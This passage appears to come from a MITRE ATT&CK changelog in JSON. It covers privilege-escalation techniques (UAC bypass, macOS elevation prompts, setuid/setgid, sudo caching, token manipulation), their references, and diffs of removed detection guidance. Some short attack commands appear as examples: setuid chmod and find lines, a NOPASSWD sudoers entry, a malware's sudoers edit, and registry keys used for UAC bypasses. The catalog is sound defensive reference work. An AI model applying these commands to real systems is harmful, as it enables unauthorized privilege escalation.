| > | erading](https://attack.mitre.org/techniques/T1036) and [Obf | > | Adversaries may employ various forms of [Masquerading](htt | ||
| > | uscated Files or Information](https://attack.mitre.org/techn | > | ps://attack.mitre.org/techniques/T1036) and [Obfuscated File | ||
| > | iques/T1027) to increase the likelihood that a user will ope | > | s or Information](https://attack.mitre.org/techniques/T1027) | ||
| > | n and successfully execute a malicious file. These methods m | > | to increase the likelihood that a user will open and succes | ||
| > | ay include using a familiar naming convention and/or passwor | > | sfully execute a malicious file. These methods may include u | ||
| > | d protecting the file and supplying instructions to a user o | > | sing a familiar naming convention and/or password protecting | ||
| > | n how to open it.(Citation: Password Protected Word Docs) | > | the file and supplying instructions to a user on how to ope | ||
| > | While [Malicious File](https://attack.mitre.org/techniques/T | > | n it.(Citation: Password Protected Word Docs) While [Malic | ||
| > | 1204/002) frequently occurs shortly after Initial Access it | > | ious File](https://attack.mitre.org/techniques/T1204/002) fr | ||
| > | may occur at other phases of an intrusion, such as when an a | > | equently occurs shortly after Initial Access it may occur at | ||
| > | dversary places a file in a shared directory or on a user's | > | other phases of an intrusion, such as when an adversary pla | ||
| > | desktop hoping that a user will click on it. This activity m | > | ces a file in a shared directory or on a user's desktop hopi | ||
| > | ay also be seen shortly after [Internal Spearphishing](https | > | ng that a user will click on it. This activity may also be s | ||
| > | ://attack.mitre.org/techniques/T1534). | > | een shortly after [Internal Spearphishing](https://attack.mi | ||
| > | tre.org/techniques/T1534). |
/usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\\n\\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\\n\\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\\n-\\n-Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\\n-\\n-On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\\n-\\n-There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1038: Execution Prevention",
"M1047: Audit",
"M1051: Update Software",
"M1052: User Account Control"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0345: Detection Strategy for Abuse Elevation Control Mechanism (T1548)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-30 14:24:34.977000+00:00",
"modified": "2025-10-24 17:48:25.823000+00:00",
"name": "Bypass User Account Control",
"description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/002",
"external_id": "T1548.002"
},
{
"source_name": "Davidson Windows",
"description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
"url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
},
{
"source_name": "TechNet How UAC Works",
"description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
"url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
},
{
"source_name": "SANS UAC Bypass",
"description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
"url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
},
{
"source_name": "MSDN COM Elevation",
"description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
},
{
"source_name": "enigma0x3 Fileless UAC Bypass",
"description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
"url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
},
{
"source_name": "enigma0x3 sdclt app paths",
"description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
"url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
},
{
"source_name": "enigma0x3 sdclt bypass",
"description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
"url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
},
{
"source_name": "TechNet Inside UAC",
"description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
"url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
},
{
"source_name": "Fortinet Fareit",
"description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
"url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
},
{
"source_name": "Github UACMe",
"description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
"url": "https://github.com/hfiref0x/UACME"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stefan Kanthak",
"Casey Smith"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.823000+00:00\", \"old_value\": \"2025-04-16 20:37:15.662000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\\n\\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n\\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\\n\\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe and [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\\n\\nAnalysts should monitor these Registry settings for unauthorized changes.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\\n-\\n-Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n-\\n-* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\\n-\\n-* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe and [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\\n-\\n-Analysts should monitor these Registry settings for unauthorized changes.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1047: Audit",
"M1051: Update Software",
"M1052: User Account Control"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0388: Detection Strategy for T1548.002 \u2013 Bypass User Account Control (UAC)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-30 14:40:20.187000+00:00",
"modified": "2025-10-24 17:49:16.860000+00:00",
"name": "Elevated Execution with Prompt",
"description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/004",
"external_id": "T1548.004"
},
{
"source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
"description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
"url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
},
{
"source_name": "Carbon Black Shlayer Feb 2019",
"description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
"url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"
},
{
"source_name": "Death by 1000 installers; it's all broken!",
"description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
"url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
},
{
"source_name": "OSX Coldroot RAT",
"description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
"url": "https://objective-see.com/blog/blog_0x2A.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jimmy Astle, @AstleJimmy, Carbon Black",
"Erika Noerenberg, @gutterchurl, Carbon Black"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.860000+00:00\", \"old_value\": \"2025-04-16 20:37:19.503000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0395: macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-30 14:11:41.212000+00:00",
"modified": "2025-10-24 17:48:53.456000+00:00",
"name": "Setuid and Setgid",
"description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/001",
"external_id": "T1548.001"
},
{
"source_name": "GTFOBins Suid",
"description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
"url": "https://gtfobins.github.io/#+suid"
},
{
"source_name": "OSX Keydnap malware",
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
},
{
"source_name": "setuid man page",
"description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
"url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.456000+00:00\", \"old_value\": \"2025-04-16 20:37:17.707000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0110: Setuid/Setgid Privilege Abuse Detection (Linux/macOS)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-30 14:34:44.992000+00:00",
"modified": "2025-10-24 17:48:26.105000+00:00",
"name": "Sudo and Sudo Caching",
"description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1548/003",
"external_id": "T1548.003"
},
{
"source_name": "sudo man page 2018",
"description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
"url": "https://www.sudo.ws/"
},
{
"source_name": "OSX.Dok Malware",
"description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
},
{
"source_name": "cybereason osx proton",
"description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
"url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.105000+00:00\", \"old_value\": \"2025-04-25 14:45:52.996000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0052: Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-12-14 16:46:06.044000+00:00",
"modified": "2025-10-24 17:49:29.051000+00:00",
"name": "Access Token Manipulation",
"description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134",
"external_id": "T1134"
},
{
"source_name": "BlackHat Atkinson Winchester Token Manipulation",
"description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
"url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
},
{
"source_name": "Microsoft Command-line Logging",
"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"source_name": "Microsoft LogonUser",
"description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"
},
{
"source_name": "Microsoft DuplicateTokenEx",
"description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"
},
{
"source_name": "Microsoft ImpersonateLoggedOnUser",
"description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
},
{
"source_name": "Pentestlab Token Manipulation",
"description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
"url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tom Ueltschi @c_APT_ure",
"Travis Smith, Tripwire",
"Robby Winchester, @robwinchester3",
"Jared Atkinson, @jaredcatkinson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.1",
